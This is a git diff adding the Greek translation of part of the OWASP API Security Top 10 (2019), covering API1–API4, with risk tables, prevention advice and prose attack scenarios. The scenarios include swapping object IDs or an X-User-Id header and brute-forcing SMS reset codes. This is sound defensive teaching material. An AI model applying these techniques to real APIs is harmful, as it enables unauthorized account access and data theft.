πληροφορίες. | +| API8:2019 - Injection | Σφάλματα Έγχυσης (Injection Flaws), όπως SQL, NoSQL, Command Injection κ.λπ., συμβαίνουν όταν αποστέλλονται μη αξιόπιστα δεδομένα σε έναν διερμηνέα λογισμικού ως μέρος μιας εντολής ή ερωτήματος (query). Τα κακόβουλα δεδομένα του εισβολέα μπορούν να ξεγελάσουν τον διερμηνέα ώστε να εκτελέσει ακούσιες εντολές ή να αποκτήσει πρόσβαση σε δεδομένα χωρίς την κατάλληλη εξουσιοδότηση. | +| API9:2019 - Improper Assets Management | Τα APIs τείνουν να εκθέτουν περισσότερα τελικά σημεία προορισμού (endpoints) από τις παραδοσιακές εφαρμογές Ιστού, καθιστώντας τη σωστή και ενημερωμένη τεκμηρίωση (documentation) εξαιρετικά σημαντική. Επίσης σημαντικό ρόλο για τον μετριασμό ελαττωμάτων όπως οι καταργημένες εκδόσεις APIs και τα εκτεθειμένα τελικά σημεία εντοπισμού σφαλμάτων είναι η μεθοδική καταγραφή των servers και των εκδόσεων APIs που έχουν αναπτυχθεί. | +| API10:2019 - Insufficient Logging & Monitoring | Η ανεπαρκής καταγραφή και παρακολούθηση/εποπτεία, σε συνδυασμό με την έλλειψη ή την αναποτελεσματική ενσωµάτωση και διαλειτουργικότητα με την αντιμετώπιση συμβάντων (incident response), επιτρέπει στους επιτιθέμενους να επεκτείνουν τις επιθέσεις τους, να διατηρήσουν την πρόσβαση τους, να στραφούν σε περισσότερα συστήματα για να παραβιάσουν, να εξαγάγουν ή να καταστρέψουν δεδομένα. Οι περισσότερες μελέτες παραβίασης αποδεικνύουν ότι ο μέσος χρόνος που απαιτείται για τον εντοπισμό μιας παραβίασης ξεπερνάει τις 200 ημέρες και συνήθως εντοπίζεται από εξωτερικούς συνεργάτες και όχι από ενδοεταιρικές διαδικασίες ή παρακολούθηση/εποπτεία των συστημάτων. | diff --git a/editions/2019/el-gr/0xa1-broken-object-level-authorization.md b/editions/2019/el-gr/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..ad7788b5f --- /dev/null +++ b/editions/2019/el-gr/0xa1-broken-object-level-authorization.md @@ -0,0 +1,63 @@ +# API1:2019 Broken Object Level Authorization + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **3** : Εξαρτώνται από την Επιχείρηση | +| Οι εισβολείς μπορούν να εκμεταλλευτούν τελικά σημεία προορισμού API (endpoints) που είναι ευάλωτα σε εσφαλμένη εξουσιοδότηση επιπέδου αντικειμένου (Broken Object Level Authorization), παραποιώντας το αναγνωριστικό ενός αντικειμένου (object ID) που αποστέλλεται εντός ενός αιτήματος (request). Αυτό μπορεί να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα. Αυτό το κενό ασφαλείας είναι εξαιρετικά κοινό σε εφαρμογές που βασίζονται σε API, επειδή ο διακομιστής (server) συνήθως δεν έχει γνώση της κατάστασης της εφαρμογής-πελάτη και, αντ' αυτού, βασίζεται σε παραμέτρους όπως τα αναγνωριστικά αντικειμένων, που αποστέλλονται από την εφαρμογή-πελάτη για να αποφασίσει σε ποια αντικείμενα θα έχει πρόσβαση. | Αυτή είναι η πιο κοινή και ιδιαίτερα αποτελεσματική επίθεση σε API. Οι μηχανισμοί εξουσιοδότησης και ελέγχου πρόσβασης στις σύγχρονες εφαρμογές είναι περίπλοκοι και ευρέως διαδεδομένοι. Ακόμα κι αν η εφαρμογή εφαρμόζει μια κατάλληλη υποδομή για ελέγχους εξουσιοδότησης, οι προγραμματιστές μπορεί να ξεχάσουν να χρησιμοποιήσουν αυτούς τους ελέγχους πριν παραχωρήσουν πρόσβαση σε ένα ευαίσθητο/διαβαθμισμένο αντικείμενο. Η ανίχνευση ελέγχου πρόσβασης συνήθως δεν υπόκειται σε αυτοματοποιημένους στατικούς ή δυναμικούς ελέγχους (static or dynamic testing). | Η μη εξουσιοδοτημένη πρόσβαση μπορεί να οδηγήσει σε αποκάλυψη δεδομένων σε μη εξουσιοδοτημένα μέρη, απώλεια δεδομένων ή παραποίηση δεδομένων. Η μη εξουσιοδοτημένη πρόσβαση σε αντικείμενα μπορεί επίσης να οδηγήσει τους επιτιθέμενους να αποκτήσουν πλήρη πρόσβαση του λογαριασμού ενός χρήστη (account takeover). | + +## Πότε το API είναι ευάλωτο + +Η εξουσιοδότηση επιπέδου αντικειμένου (Object Level Authorization) είναι ένας μηχανισμός ελέγχου πρόσβασης +που συνήθως υλοποιείται σε επίπεδο κώδικα για να επιβεβαιώσει ότι ένας χρήστης +μπορεί να έχει πρόσβαση μόνο σε αντικείμενα (objects) στα οποία θα έπρεπε να έχει πρόσβαση. + +Κάθε τελικό σημείο προορισμού API (endpoint) που λαμβάνει ένα αναγνωριστικό ενός αντικειμένου (object ID) και εκτελεί +οποιονδήποτε τύπο ενέργειας στο αντικείμενο, θα πρέπει να εφαρμόζει ελέγχους εξουσιοδότησης +σε επίπεδο αντικειμένου. Οι έλεγχοι θα πρέπει να επικυρώνουν ότι ο συνδεδεμένος χρήστης +έχει πρόσβαση για να εκτελέσει την απαιτούμενη ενέργεια στο ζητούμενο αντικείμενο. + +Οι αποτυχίες σε αυτόν τον μηχανισμό συνήθως οδηγούν σε μη εξουσιοδοτημένη αποκάλυψη +πληροφοριών, τροποποίηση ή καταστροφή όλων των δεδομένων. + +## Παραδείγματα από Σενάρια Επίθεσης + +### Σενάριο Επίθεσης #1 + +Μια πλατφόρμα ηλεκτρονικού εμπορίου για ηλεκτρονικά καταστήματα παρέχει μια σελίδα +με τα διαγράμματα εσόδων για τα καταστήματα που φιλοξενεί. Επιθεωρώντας +τα αιτήματα του προγράμματος περιήγησης (browser requests), ένας εισβολέας μπορεί να αναγνωρίσει τα +τελικά σημεία προορισμού API (endpoints) που χρησιμοποιούνται ως πηγή δεδομένων για αυτά τα γραφήματα +και το μοτίβο URL τους το οποίο είναι της μορφής: `/shops/{shopName}/revenue_data.json`. Χρησιμοποιώντας ένα άλλο +τελικό σημείο προορισμού API (endpoint), ο εισβολέας λαμβάνει τη λίστα με όλα τα ονόματα καταστημάτων +που φιλοξενούνται. Ο εισβολέας χρησιμοποιεί ένα απλό script, το οποίο διαχειρίζεται τα ονόματα στη λίστα, αντικαθιστώντας +το `{shopName}` στη διεύθυνση URL. Με αυτό τον τρόπο αποκτά πρόσβαση στα δεδομένα πωλήσεων +χιλιάδων καταστημάτων ηλεκτρονικού εμπορίου. + +### Σενάριο Επίθεσης #2 + +Κατά την παρακολούθηση της κυκλοφορίας δικτύου μιας φορητής συσκευής, το ακόλουθο +αίτημα HTTP `PATCH` τραβά την προσοχή ενός εισβολέα λόγω της παρουσίας μιας +custom κεφαλίδας αιτήματος HTTP `X-User-Id: 54796`. Αντικαθιστώντας την +τιμή `X-User-Id` με `54795`, ο εισβολέας λαμβάνει μια επιτυχημένη απάντηση HTTP +και μπορεί να τροποποιήσει τα δεδομένα λογαριασμού άλλων χρηστών. + +## Τρόπος Πρόληψης + +* Δημιουργήστε έναν σωστό μηχανισμό εξουσιοδότησης που βασίζεται στις πολιτικές των χρηστών (user policies) και την ιεραρχία τους. +* Χρησιμοποιήστε έναν μηχανισμό εξουσιοδότησης σε κάθε συνάρτηση (function) που χρησιμοποιεί δεδομένα εισόδου από τη εφαρμογή-πελάτη (client) για να αποκτήσει πρόσβαση σε μια εγγραφή στη βάση δεδομένων. Ο μηχανισμός πρέπει να ελέγχει εάν ο συνδεδεμένος +χρήστης έχει πρόσβαση να εκτελέσει την απαιτούμενη ενέργεια στην εγγραφή. +* Προτιμήστε να χρησιμοποιείτε τυχαίες και απρόβλεπτες τιμές ως GUID για τα +αναγνωριστικά (object IDs) των εγγραφών. +* Γράψτε αυτοματοποιημένους ελέγχους (tests) για την αξιολόγηση του μηχανισμού εξουσιοδότησης. Μην βγάζετε στην παραγωγή (deploy) ευάλωτες αλλαγές που σπάνε τα tests. + +## Αναφορές (References) + +### Εξωτερικές Αναφορές + +* [CWE-284: Improper Access Control][1] +* [CWE-285: Improper Authorization][2] +* [CWE-639: Authorization Bypass Through User-Controlled Key][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html diff --git a/editions/2019/el-gr/0xa2-broken-user-authentication.md b/editions/2019/el-gr/0xa2-broken-user-authentication.md new file mode 100644 index 000000000..71c655d4c --- /dev/null +++ b/editions/2019/el-gr/0xa2-broken-user-authentication.md @@ -0,0 +1,71 @@ +# API2:2019 Broken User Authentication + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **3** : Εξαρτώνται από την Επιχείρηση | +| Ο έλεγχος ταυτότητας στα APIs είναι ένας πολύπλοκος και μπερδεμένος μηχανισμός. Οι μηχανικοί λογισμικού και ασφαλείας ενδέχεται να έχουν λανθασμένες αντιλήψεις σχετικά με τα όρια του ελέγχου ταυτότητας και πώς να τον εφαρμόσουν σωστά. Επιπλέον, ο μηχανισμός ελέγχου ταυτότητας είναι ένας εύκολος στόχος για τους εισβολείς, καθώς είναι προσβάσιμος σε όλους. Αυτοί οι δύο λόγοι καθιστούν τον μηχανισμό ελέγχου ταυτότητας δυνητικά ευάλωτο σε πολλές επιθέσεις (exploits). | Υπάρχουν δύο υποκατηγορίες του κενού ασφαλείας: 1. Έλλειψη μηχανισμών προστασίας: Τα τελικά σημεία προορισμού APIs που είναι υπεύθυνα για τον έλεγχο ταυτότητας πρέπει να αντιμετωπίζονται διαφορετικά από τα κανονικά τελικά σημεία προορισμού και να εφαρμόζουν επιπλέον επίπεδα προστασίας. 2. Εσφαλμένη εφαρμογή του μηχανισμού: Ο μηχανισμός χρησιμοποιείται / υλοποιείται χωρίς να λαμβάνονται υπόψη τα διανύσματα επίθεσης (attack vectors) ή είναι λάθος η περίπτωση χρήσης του (π.χ. ένας μηχανισμός ελέγχου ταυτότητας που έχει σχεδιαστεί για εφαρμογές-πελάτες (clients) IoT μπορεί να μην είναι η σωστή επιλογή για εφαρμογές Ιστού). | Οι εισβολείς μπορούν να αποκτήσουν τον έλεγχο λογαριασμών άλλων χρηστών στο σύστημα, να διαβάσουν τα προσωπικά τους δεδομένα και να εκτελέσουν ευαίσθητες / διαβαθμισμένες ενέργειες για λογαριασμό τους, όπως συναλλαγές χρημάτων και αποστολή προσωπικών μηνυμάτων. | + +## Πότε το API είναι ευάλωτο + +Τα τελικά σημεία προορισμού (endpoints) και οι ροές (flows) ελέγχου ταυτότητας είναι στοιχεία που πρέπει να προστατεύονται. Λειτουργίες όπως το "Ξέχασα τον κωδικό πρόσβασης / επαναφορά κωδικού πρόσβασης" θα πρέπει να αντιμετωπίζονται με τον ίδιο τρόπο όπως και οι μηχανισμοί ελέγχου ταυτότητας. + +Ένα API είναι ευάλωτο εάν: +* Επιτρέπει [credential stuffing][1] με το οποίο ο εισβολέας έχει την δυνατότητα να αυτοματοποιήσει την προσπάθεια πρόσβασης χρησιμοποιώντας κλεμμένες λίστες με έγκυρα ονόματα χρηστών και κωδικών πρόσβασης. +* Επιτρέπει στους εισβολείς να εκτελούν επίθεση ωμής βίας (brute force attack) στον ίδιο λογαριασμό χρήστη, χωρίς να παρουσιάζουν μηχανισμό captcha ή κλειδώματος λογαριασμού. +* Επιτρέπει αδύναμους κωδικούς πρόσβασης. +* Στέλνει ευαίσθητες λεπτομέρειες ελέγχου ταυτότητας, όπως διακριτικά ταυτότητας (authentication tokens) και κωδικούς πρόσβασης στη διεύθυνση URL (δηλαδή μέσω χρήσης GET HTTP requests). +* Δεν επικυρώνει την αυθεντικότητα των διακριτικών. +* Αποδέχεται ανυπόγραφα/ασθενώς υπογεγραμμένα διακριτικά JWT (`"alg":"none"`)/δεν επικυρώνει την ημερομηνία λήξης τους. +* Διαχειρίζεται κωδικούς πρόσβασης ως απλό κείμενο, χωρίς την χρήση κρυπτογράφησης ή χρησιμοποιεί αδύναμους αλγόριθμους κρυπτογράφησης ή κατακερματισμού (hashing). +* Χρησιμοποιεί αδύναμα κλειδιά κρυπτογράφησης. + +## Παραδείγματα από Σενάρια Επίθεσης + +## Σενάριο Επίθεσης #1 + +Το [Credential stuffing][1] (χρησιμοποιώντας [λίστες γνωστών ονομάτων χρήστη/κωδικών πρόσβασης][2]), είναι μια συνηθισμένη επίθεση. Εάν μια εφαρμογή δεν εφαρμόζει προστασία από αυτοματοποιημένες απειλές ή credential stuffing, η εφαρμογή μπορεί να χρησιμοποιηθεί από τους εισβολείς ως ένα μέσο για να προσδιορίσουν εάν τα διαπιστευτήρια είναι έγκυρα. Η τεχνική αυτή μετατρέπει το API σε έναν ελεγκτή (ή μαντείο - oracle) κωδικών πρόσβασης. + +## Σενάριο Επίθεσης #2 + +Ένας εισβολέας ξεκινάει τη διαδικασία ανάκτησης κωδικού πρόσβασης στέλνοντας ένα +αίτημα HTTP POST στο `/api/system/verification-codes` και παρέχοντας το όνομα χρήστη +στο σώμα του αιτήματος (request). Στη συνέχεια, αποστέλλεται μέσω SMS ένας κωδικός με 6 ψηφία στο τηλέφωνο του θύματος. Επειδή το API δεν διαθέτει προστασία περιορισμού του ρυθμού των αιτημάτων, ο εισβολέας μπορεί να δοκιμάσει όλους τους πιθανούς συνδυασμούς χρησιμοποιώντας μία πολυνηματική εφαρμογή (multi-threaded script) η οποία στέλνει πολλαπλά αιτήματα στο σημείο προορισμού (URL endpoint) `/api/system/verification-codes/{smsToken}` έως ότου ανακαλύψει τον σωστό 6-ψήφιο κωδικό. Ένα τέτοιο σενάριο επίθεσης μπορεί να ολοκληρωθεί μέσα σε λίγα λεπτά. + +## Τρόπος Πρόληψης + +* Βεβαιωθείτε ότι γνωρίζετε όλες τις πιθανές ροές εκτέλεσης (execution flows) για έλεγχο ταυτότητας στο API (σύνδεσμοι για κινητά/ιστό/deep links που εφαρμόζουν έλεγχο ταυτότητας με ένα κλικ/κ.λπ.) +* Επιβεβαιώστε με τους μηχανικούς σας όλες τις ροές εκτέλεσης. +* Διαβάστε σχετικά με τους μηχανισμούς ελέγχου ταυτότητας. Βεβαιωθείτε ότι καταλαβαίνετε +τι και πώς χρησιμοποιούνται. Το OAuth δεν είναι έλεγχος ταυτότητας, ούτε και τα κλειδιά API. +* Μην ανακαλύπτετε ξανά τον τροχό στον έλεγχο ταυτότητας, τη δημιουργία διακριτικών, +τους τρόπους αποθήκευσης κωδικών πρόσβασης. Χρησιμοποιήστε τις καθιερωμένες προδιαγραφές (standards). +* Τα τελικά σημεία ανάκτησης διαπιστευτηρίων/λήψης κωδικού πρόσβασης θα πρέπει να αντιμετωπίζονται +ως τελικά σημεία σύνδεσης. Εφαρμόστε τα ίδια συστήματα ασφαλείας κατά επιθέσεων όπως την ωμή βία (brute force), τον περιορισμό του ρυθμού (rate limiting) και τις προστασίες κλειδώματος. +* Συμβουλευτείτε και χρησιμοποιήστε το [OWASP Authentication Cheatsheet][3]. +* Όπου είναι δυνατόν, εφαρμόστε έλεγχο ταυτότητας πολλαπλών παραγόντων (multi-factor authentication). +* Εφαρμόστε μηχανισμούς κατά της ωμής βίας για τον μετριασμό του credential stuffing, της επίθεσης +λεξικού και των επιθέσεων ωμής βίας στα τελικά σημεία ελέγχου ταυτότητας. Αυτός ο μηχανισμός θα πρέπει +να είναι πιο αυστηρός από τον κανονικό μηχανισμό περιορισμού ρυθμών στο API σας. +* Εφαρμόστε το μηχανισμό [account lockout][4] / captcha για να αποτρέψετε την ωμή βία εναντίον συγκεκριμένων +χρηστών. Εφαρμόστε ελέγχους αδύναμου κωδικού πρόσβασης. +* Τα κλειδιά API δεν πρέπει να χρησιμοποιούνται για έλεγχο ταυτότητας χρήστη, αλλά για [client app/project authentication][5]. + +## Αναφορές (References) + +### Αναφορές OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### Εξωτερικές Αναφορές + +* [CWE-798: Use of Hard-coded Credentials][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html diff --git a/editions/2019/el-gr/0xa3-excessive-data-exposure.md b/editions/2019/el-gr/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..e269ea4cb --- /dev/null +++ b/editions/2019/el-gr/0xa3-excessive-data-exposure.md @@ -0,0 +1,51 @@ +# API3:2019 Excessive Data Exposure + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Η εκμετάλλευση (exploitation) της υπερβολικής έκθεσης δεδομένων (Excessive Data Exposure) είναι απλή και συνήθως πραγματοποιείται ανιχνεύοντας και αναλύοντας την κίνηση των δεδομένων που επιστρέφονται από το API στον χρήστη. Στόχος της ανάλυσης των δεδομένων είναι η αναζήτηση πιθανής έκθεσης σε ευαίσθητα δεδομένα που δεν πρέπει να επιστραφούν στον χρήστη. | Το κενό ασφαλείας εμφανίζεται όταν APIs βασίζονται στις εφαρμογές-πελάτες (client) για την εκτέλεση του φιλτραρίσματος δεδομένων. Δεδομένου ότι τα APIs χρησιμοποιούνται ως πηγές δεδομένων, συχνά οι προγραμματιστές προσπαθούν να τα υλοποιήσουν με γενικό τρόπο χωρίς να σκεφτούν την ευαισθησία των δεδομένων που εκτίθενται. Τα αυτόματα εργαλεία συνήθως δεν μπορούν να εντοπίσουν αυτόν τον τύπο ευπάθειας, επειδή είναι δύσκολο να γίνει διάκριση μεταξύ των μη-ευαίσθητων δεδομένων που επιστρέφονται από το API και των ευαίσθητων δεδομένων που δεν πρέπει να επιστραφούν. Η δυσκολία αυτή προκύπτει επειδή τα αυτόματα εργαλεία δεν κατανοούν σε βάθος την εφαρμογή. | Η υπερβολική έκθεση δεδομένων οδηγεί συνήθως σε έκθεση ευαίσθητων δεδομένων. | + +## Πότε το API είναι ευάλωτο + +Το API επιστρέφει ευαίσθητα δεδομένα στην εφαρμογή-πελάτη (client) βάσει σχεδίασης. Αυτά τα δεδομένα συνήθως φιλτράρονται από την πλευρά της εφαρμογής-πελάτη πριν παρουσιαστούν στον χρήστη. Ένας εισβολέας μπορεί εύκολα να δει τα ευαίσθητα δεδομένα ανιχνεύοντας την κίνηση. + +## Παραδείγματα από Σενάρια Επίθεσης + +### Σενάριο Επίθεσης #1 + +Η ομάδα που ασχολείται με το development για κινητά χρησιμοποιεί το τελικό σημείο προορισμού +`/api/articles/{articleId}/comments/{commentId}` στην σελίδα προβολής άρθρων για την εμφάνιση +των μεταδεδομένων των σχολίων. Ανιχνεύοντας την κίνηση της εφαρμογής για κινητά, ένας εισβολέας +ανακαλύπτει ότι επιστρέφονται και άλλα ευαίσθητα δεδομένα που σχετίζονται +με τον συντάκτη του σχολίου. Η υλοποίηση τελικού σημείου προορισμού (endpoint), χρησιμοποιεί μια +γενική μέθοδο `toJSON()` για τη σειριοποίηση (serialization) του αντικειμένου στο μοντέλο `User`, +το οποίο περιέχει ευαίσθητα δεδομένα (PII). + +### Σενάριο Επίθεσης #2 + +Ένα σύστημα επιτήρησης που βασίζεται στο IOT επιτρέπει στους διαχειριστές να δημιουργούν χρήστες με διαφορετικά δικαιώματα. Ένας διαχειριστής δημιούργησε έναν λογαριασμό χρήστη για έναν νέο φύλακα που θα πρέπει να έχει πρόσβαση μόνο σε συγκεκριμένα κτίρια στον ιστότοπο. Μόλις ο φύλακας χρησιμοποιήσει την εφαρμογή του για κινητά, ενεργοποιείται μια κλήση API στη διεύθυνση: `/api/sites/111/cameras` προκειμένου να ληφθούν δεδομένα σχετικά με τις διαθέσιμες κάμερες και να εμφανίστουν στον πίνακα ελέγχου. Η απάντηση περιέχει μια λίστα με λεπτομέρειες σχετικά με τις κάμερες στην ακόλουθη μορφή: `{"id":"xxx","live_access_token":"xxxx-bbbbb","building_id":"yyy"}`. Ενώ το GUI της εφαρμογής-πελάτη εμφανίζει μόνο κάμερες στις οποίες θα πρέπει να έχει πρόσβαση ο φύλακας, η πραγματική απόκριση API περιέχει μια πλήρη λίστα με όλες τις κάμερες στον ιστότοπο. + +## Τρόπος Πρόληψης + +* Μην βασίζεστε ποτέ στην πλευρά της εφαρμογής-πελάτη για να φιλτράρετε ευαίσθητα δεδομένα. +* Ελέγξτε τις απαντήσεις από το API για να βεβαιωθείτε ότι περιέχουν μόνο αποδεκτά δεδομένα. +* Οι back-end προγραμματιστές θα πρέπει πάντα να διερωτόνται "ποιος είναι ο καταναλωτής των δεδομένων;", + πριν εκθέσουν δημόσια ένα νέο τελικό σημείο προορισμού API. +* Αποφύγετε τη χρήση γενικών μεθόδων όπως `to_json()` και `to_string()`. +Αντίθετα, επιλέξτε συγκεκριμένα πεδία που θέλετε πραγματικά να επιστρέψετε. +* Ταξινομήστε όλες τις ευαίσθητες και προσωπικά αναγνωρίσιμες πληροφορίες (PII) +τις οποίες αποθηκεύει και συνεργάζεται η εφαρμογή σας, ελέγχοντας όλες τις κλήσεις +API που επιστρέφουν τέτοιες πληροφορίες για να δείτε εάν αυτές οι απαντήσεις +δημιουργούν πρόβλημα ασφαλείας. +* Εφαρμόστε έναν μηχανισμό επικύρωσης απόκρισης που βασίζεται σε σχήματα (schema-based) +ως ένα επιπλέον επίπεδο ασφαλείας. Ως μέρος αυτού του μηχανισμού ορίστε και επιβάλλετε +δεδομένα που επιστρέφονται από όλες τις μεθόδους API, συμπεριλαμβανομένων των σφαλμάτων. + + +## Αναφορές (References) + +### Εξωτερικές Αναφορές + +* [CWE-213: Intentional Information Exposure][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html diff --git a/editions/2019/el-gr/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/el-gr/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..046fb9658 --- /dev/null +++ b/editions/2019/el-gr/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,75 @@ +# API4:2019 Lack of Resources & Rate Limiting + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **2** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **3** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Η εκμετάλλευση (exploitation) αυτής της αδυναμίας ασφαλείας απαιτεί μόνο την αποστολή απλών αιτημάτων (requests) στο API. Δεν απαιτείται έλεγχος ταυτότητας. Πολλαπλά ταυτόχρονα αιτήματα (requests) μπορούν να αποσταλούν από έναν μόνο τοπικό υπολογιστή ή χρησιμοποιώντας πόρους υπολογιστικού νέφους (cloud computing). | Είναι σύνηθες να βρίσκουμε API που δεν εφαρμόζουν περιορισμό ρυθμού (rate limiting) ή APIs όπου τα όρια περιορισμού δεν έχουν οριστεί σωστά. | Η εκμετάλλευση (exploitation) μπορεί να οδηγήσει σε επιθέσεις άρνησης υπηρεσιών (DoS), καθιστώντας το API μη ανταποκρινόμενο ή ακόμη και μη διαθέσιμο. | + +## Πότε το API είναι ευάλωτο + +Τα αιτήματα (requests) API καταναλώνουν πόρους (resources) όπως πόρους δικτύου, επεξεργαστή (CPU), μνήμης και αποθήκευσης. Το ποσό των πόρων που απαιτούνται για την ολοκλήρωση ενός αιτήματος εξαρτάται σε μεγάλο βαθμό από τα δεδομένα εισόδου του χρήστη και την επιχειρηματική λογική (business logic) του τελικού σημείου προορισμού (endpoint). Επίσης, λάβετε υπόψη το γεγονός ότι τα αιτήματα από πολλαπλούς πελάτες API ανταγωνίζονται για τους πόρους του συστήματος. Ένα API είναι ευάλωτο εάν τουλάχιστον ένα από τα ακόλουθα όρια περιορισμού λείπει ή τα όρια περιορισμού δεν έχουν οριστεί καταλλήλως (π.χ. πολύ χαμηλά/υψηλά): + +* Χρονικά όρια εκτέλεσης (execution timeouts) +* Μέγιστο ποσό δέσμευσης μνήμης +* Αριθμός περιγραφέων αρχείου (file descriptors) +* Αριθμός διεργασιών (processes) +* Μέγεθος αιτήματος ωφέλιμου φορτίου (request payload size) (π.χ. μεταφορτώσεις (uploads)) +* Αριθμός αιτημάτων ανά πρόγραμμα-πελάτη/πόρο συστήματος +* Αριθμός εγγραφών ανά σελίδα που περιέχονται σε κάθε απάντηση αιτήματος (request response) + +## Παραδείγματα από Σενάρια Επίθεσης + +### Σενάριο #1 + +Ένας εισβολέας ανεβάζει μια μεγάλη εικόνα υποβάλλοντας ένα αίτημα POST στο `/api/v1/images`. +Όταν ολοκληρωθεί η μεταφόρτωση, το API δημιουργεί πολλές μικρογραφίες (thumbnails) με διαφορετικά μεγέθη. +Λόγω του μεγάλου μεγέθους της μεταφορτωμένης εικόνας, η διαθέσιμη μνήμη του συστήματος εξαντλείται κατά τη δημιουργία μικρογραφιών και το API σταματάει να ανταποκρίνεται. + +### Σενάριο #2 + +Έχουμε μια εφαρμογή που περιέχει τη λίστα χρηστών σε μια διεπαφή χρήστη (UI) με όριο +200 χρήστες ανά σελίδα. Η λίστα των χρηστών ανακτάται από τον διακομιστή (server) χρησιμοποιώντας +το ακόλουθο ερώτημα: `/api/users?page=1&size=200`. Ένας εισβολέας αλλάζει την παράμετρο +μεγέθους σε `200 000`, προκαλώντας προβλήματα απόδοσης (performance) στη βάση δεδομένων. +Τα προβλήματα απόδοσης της βάσης δεδομένων σταματούν το API από το να ανταποκρίνεται και +το API δεν είναι πλέον σε θέση να χειριστεί περαιτέρω αιτήματα από τον τρέχων ή άλλους πελάτες (γνωστό και ως DoS). + +Το ίδιο σενάριο μπορεί να χρησιμοποιηθεί για την πρόκληση σφαλμάτων υπερχείλισης ακεραίων (Integer Overflow) ή υπερχείλισης buffer (Buffer Overflow). + +## Τρόπος Πρόληψης + +* Το Docker διευκολύνει τον περιορισμό της [μνήμης][1], του [επεξεργαστή CPU][2], τον [αριθμό επανεκκινήσεων][3], + των [περιγραφέων αρχείου (file descriptors), και διεργασιών (processes)][4]. +* Εφαρμόστε ένα όριο περιορισμού σχετικά με το πόσο συχνά ένα πρόγραμμα-πελάτης μπορεί να καλεί το API εντός ενός καθορισμένου χρονικού πλαισίου. +* Ειδοποιήστε το πρόγραμμα-πελάτη όταν γίνεται υπέρβαση του ορίου παρέχοντας τον αριθμό ορίου και την ώρα κατά την οποία θα γίνει επαναφορά του ορίου. +* Προσθέστε την κατάλληλη επικύρωση (validation) από την πλευρά του διακομιστή για τις παραμέτρους συμβολοσειράς ερωτήματος (query string) και σώματος αιτήματος (request body), ειδικά αυτή που ελέγχει τον αριθμό των εγγραφών που θα επιστραφούν στην απάντηση. +* Καθορίστε και επιβάλλετε μέγιστο μέγεθος δεδομένων σε όλες τις εισερχόμενες παραμέτρους και ωφέλιμα φορτία (payloads), +όπως το μέγιστο μήκος για τις συμβολοσειρές (strings) και τον μέγιστο αριθμό στοιχείων σε πίνακες (elements in arrays). + + +## Αναφορές (References) + +### Αναφορές OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### Εξωτερικές Αναφορές + +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* “_Rate Limiting (Throttling)_” - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf diff --git a/editions/2019/el-gr/0xa5-broken-function-level-authorization.md b/editions/2019/el-gr/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..e185797ad --- /dev/null +++ 